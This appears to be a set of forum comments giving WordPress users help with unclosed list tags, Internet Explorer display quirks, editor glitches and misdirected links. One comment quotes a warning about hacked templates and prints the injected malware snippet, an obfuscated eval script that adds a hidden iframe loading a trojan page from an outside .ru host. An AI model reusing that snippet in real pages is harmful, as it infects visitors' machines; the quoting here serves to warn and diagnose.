I agree cindy, I counted 6 opening UL’s and 6 Ending UL’s and they are properly placed…I am looking at the list items (li’s) right now

ok, here is the frustrating part, the error is line 108 (which you may have to count them if you don’t have them numbered in a HTML editor that numbers the lines) and column 12 is 12 characters in from the margin (counting spaces). IF you have an ending /ul for every single starting ul, then I would say the error is erroneous, only making the job harder.
The funny thing is you could try adding just one more ending /ul and see if that works (without knowing where the starting one is that needs to be satisfied).

You need one more ending /ul because you have two starting ul tags, so you need the second ending /ul tag as follows

<div id=”sidebar”>

<?php /* Widgetized sidebar, if you have the plugin installed. */
if ( !function_exists(‘dynamic_sidebar’) || !dynamic_sidebar() ) : ?>
• <?php include (TEMPLATEPATH . ‘/searchform.php’); ?>

<!– Author information is disabled per default. Uncomment and fill in your details if you want to use it.

• <h2>Author</h2>
  <p>A little something about you, the author. Nothing lengthy, just an overview.</p>

–>

<?php if ( is_404() || is_category() || is_day() || is_month() ||
is_year() || is_search() || is_paged() ) {
?>

• <?php /* If this is a 404 page */ if (is_404()) { ?>
  <?php /* If this is a category archive */ } elseif (is_category()) { ?>
  <p>You are currently browsing the archives for the <?php single_cat_title(”); ?> category.</p>

  <?php /* If this is a yearly archive */ } elseif (is_day()) { ?>
  <p>You are currently browsing the /”><?php echo bloginfo(‘name’); ?> blog archives

  <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
  <p>You are currently browsing the /”><?php echo bloginfo(‘name’); ?> blog archives

  <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
  <p>You are currently browsing the /”><?php echo bloginfo(‘name’); ?> blog archives
  for the year <?php the_time(‘Y’); ?>.</p>

  <?php /* If this is a monthly archive */ } elseif (is_search()) { ?>
  <p>You have searched the /”><?php echo bloginfo(‘name’); ?> blog archives
  for ‘<?php the_search_query(); ?>’. If you are unable to find anything in these search results, you can try one of these links.</p>

  <?php /* If this is a monthly archive */ } elseif (isset($_GET[‘paged’]) && !empty($_GET[‘paged’])) { ?>
  <p>You are currently browsing the /”><?php echo bloginfo(‘name’); ?> blog archives.</p>

  <?php } ?>

<?php }?>

<?php wp_list_pages(‘title_li=<h2>Pages</h2>’ ); ?>

• <h2>Archives</h2>

<?php wp_get_archives(‘type=monthly’); ?>

add second /ul here

Cindy, if you are having alignment issues still (in IE) you may want to help the notorious IE (seems we are always helping IE to properly display a page) and edit your code one more step.

As it is now you have

<div id=”header” align=”center”> <div id=”so_targ_movie4_23519649″ class=”flashmovie”></div>

which gets the flash movie playing properly (kudos Mike) and to go one step further IE has a problem interpreting a div ID and an alignment in the same div. For example the line of code above this :

<div id=”page”>
<div align=”center”><span class=”style1″>

the div id and the div align are broken out into separate tags. You can fix a lot of annoying problems this way.

You may want to try that with the flash alignment problem as follows:

<div id=”header”>
<div align=”center”> <div id=”so_targ_movie4_23519649″ class=”flashmovie”></div></div>

Nozmo, just an FYI, as you mentioned and I support, IE7 (or any earlier version) is the problem and does not display the page properly. Firefox, Camino, Safari, and Opera all display the page properly with the correct spacing because these browsers are interpreting the code correctly.

IE’s known issues is that is does not properly display a blank space beneath a container that is not specifically identified as a blank space with either a <p>paragraph marker, a zero pixel border marker, or any of the other various space creating code. All your buttons and images are displayed with a space beneath them and centered in that space on all other browsers that I used because those browsers are interpreting the code properly.

You can choose to fix this with a code for an extra line, or a break < /> or <br> or </br> or <p> etc infinitum, however, all other browsers will read and interpret this extra code accordingly and will change the way it is displayed in those other browsers. This is totally up to you if you want to change it or leave it as is. My guess is that there will be a higher ratio of people seeing it displayed properly than not seeing it displayed properly (dependent on Browser preference of the person viewing it).

Hi Nozmo, what you are experiencing is an age old issue between markup code/css and browsers. With a variety of browsers from different makers, and lacking a true standardization in markup and CSS the only known solution is to design according to how well you can make a round peg fit into a square hole.

IE tells you if there are errors on any web page it displays with a yellow triangle and an exclamation mark in it at the bottom of your browser. This for the most part is just a minor FYI tool that a page has some erroneous code and can’t be displayed properly. Again, what is “properly” if there is no standard “proper”? So..I always tell folks, to use the minimalist design theory and keep the code short, sweet, basic, and functional, for both markup and CSS.

If you feel you want to take on a challenge, you can make the changes yourself to the Ocean Mist theme, but if you are not fully prepared to learn a lot, and are willing to work with generally “popular” ideas of how a web page should display and the code that is best (by opinion), then I would say have fun while doing it.

The issue is not so daunting. The W3C will validate your code based on “widely accepted” and proper use of code, but again, that doesn’t mean the browser makers are forced to follow suit and “make use” of the widely accepted code usage.

I have always come down to designing a web site based purely on what I think the most popular browser will be used to view it, which varies with a target market, type of content of the website, and type of computer the viewer might have (mac vs IBM PC vs linux/unix). There are so many variables. A good rule of thumb is to have more than one browser installed, and design or code your site to display as good as possible across many browser platforms, or you could pick one browser and make it almost perfect for that one browser.

You shouldn’t have a problem making the corrections noted in red if you cut and paste. Keep in mind, the most common problem from attempting to fix is a simple typo, and also keep in mind, an erroneous “space” is a typo too.

Good Luck

Interesting. I have the exact same problem as Nick. Pictures not present after they are uploaded, Posts not posting after publishing, completely whited out areas of the editor. And interestingly enough, over the past 6 months whenever i upload a graphic and give it a title and try and send it to the editor, I get this white out effect, so I stopped giving the graphics a title and the white out effect stops occurring. I can also then publish the post and it actually appears on the blog.

OK so Nick’s blog is hosted on his own server. My Bad. But my solution was just as inconsequential as the end all solution of “upgrade your software” especially when the same problem is occurring with someone not using the software.

(waits for real solution)

Nick, I am using the wordpress hosted online editing tool. I had the same problem yesturday. Its the WordPress servers. Give it a few days for them to figure it out. Then try again.

good article here on the BOM https://www.west-wind.com/WebLog/posts/10540.aspx

You may want to look into why all the other navigation links have a <base href=”https://www.findandconvert.com/&gt; and the only navigation tab that doesn’t have a base reference is the Blog tab. It’s possible that all you need is a base ref since the blog was moved to the findandconvert server. I also noticed that you dont have a <body id> tag that may or may not be significant. Most stand alone blogs have a <body id> tag, however since your blog is hosted on the findandconvert host, it may be looking for that ID.

I’m sorry the problem code is not jumping out at me so this feels like a grasping at straws to help narrow your search to the core problem.

Do you have an english version of your website?

All of your external links work fine, such as to facebook or google, however, all of the links pointing to another internal link to findandconvert.com such as https://www.findandconvert.com/web20-marketing-strategies.htm and https://www.findandconvert.com/search-marketing-strategies.htm “redirect” the visitor to the site-map. This can be caused from a “redirect” implemented to the site-map. The redirect can be coming from the base url host or from another DNS. Also there is a significant, although maybe unrelated, issue with all other links in the web site using “.html” page extensions, while all the links on the blog are using “.htm” only. This ordinarily wouldn’t be an issue however may be playing a part in relation to the redirect. This is definitely a simple code error and will take studying the entire web site of code to find the anomaly.

This may help. I got it from a discussion board at:

“

They’ve placed an iframe at the bottom of the code to download a trojan Code: <script>eval(unescape(“window.status=’Done’;document.write(‘<iframe name=4a79833f3219 src=\’https://alltraff.ru/lol.php?&#8217; Math.round(Math.random()*19642) ‘e98cac\’ width=322 height=61 style=\’display: none\’></iframe>’)”));

</script> This has been going on for at least one or two months now PTP4ever is a known 0 iframe site, where they place the nasties on there themselves and pay people to promote them.

So hackers got to your templates”.

You can also find more information about it at this forum:

Ulrik, There is a lot of incorrect code formatting and usage in your page. You have a opening <center> tag for the <div id:”container”> but no closing tag </center>. You also have a paragraph align right <p align=”right”> with a <div> tag. This is mixing CSS with HTML in an unorthodox fashion that will only be translated by browsers based on the ability of the individual browsers.

This is a very common problem as browsers are not created by any industry “standard.” They are created by individual companies to best translate CSS and X/HTML the way they think it should be. Without an industry standard that all browser will conform to in translating markup language, you will have some browsers interpret the markup differently than others.

First order of business is to recode your page using the most basic universal markup that will make “most” browsers the happiest in translating.

After that you can experiment with your code to get your page translated best in the browser you feel “most” of your viewers will be using. You will never reach a 100% perfect translation by all browsers because there is no agreed upon industry standard for markup.

Good Luck

Kahos, I am not sure what you are trying to do, however what I do see is that you have “Entries” set up as a page title and a category at the same time.

Not knowing exactly what you are trying to achieve, the first place I would look is on your “Options” tab, then your “reading” subtab, and look at the “syndication feeds” section where you can choose summary or full text to be displayed. This typically applies to your front page, but may also apply to your other pages as well.
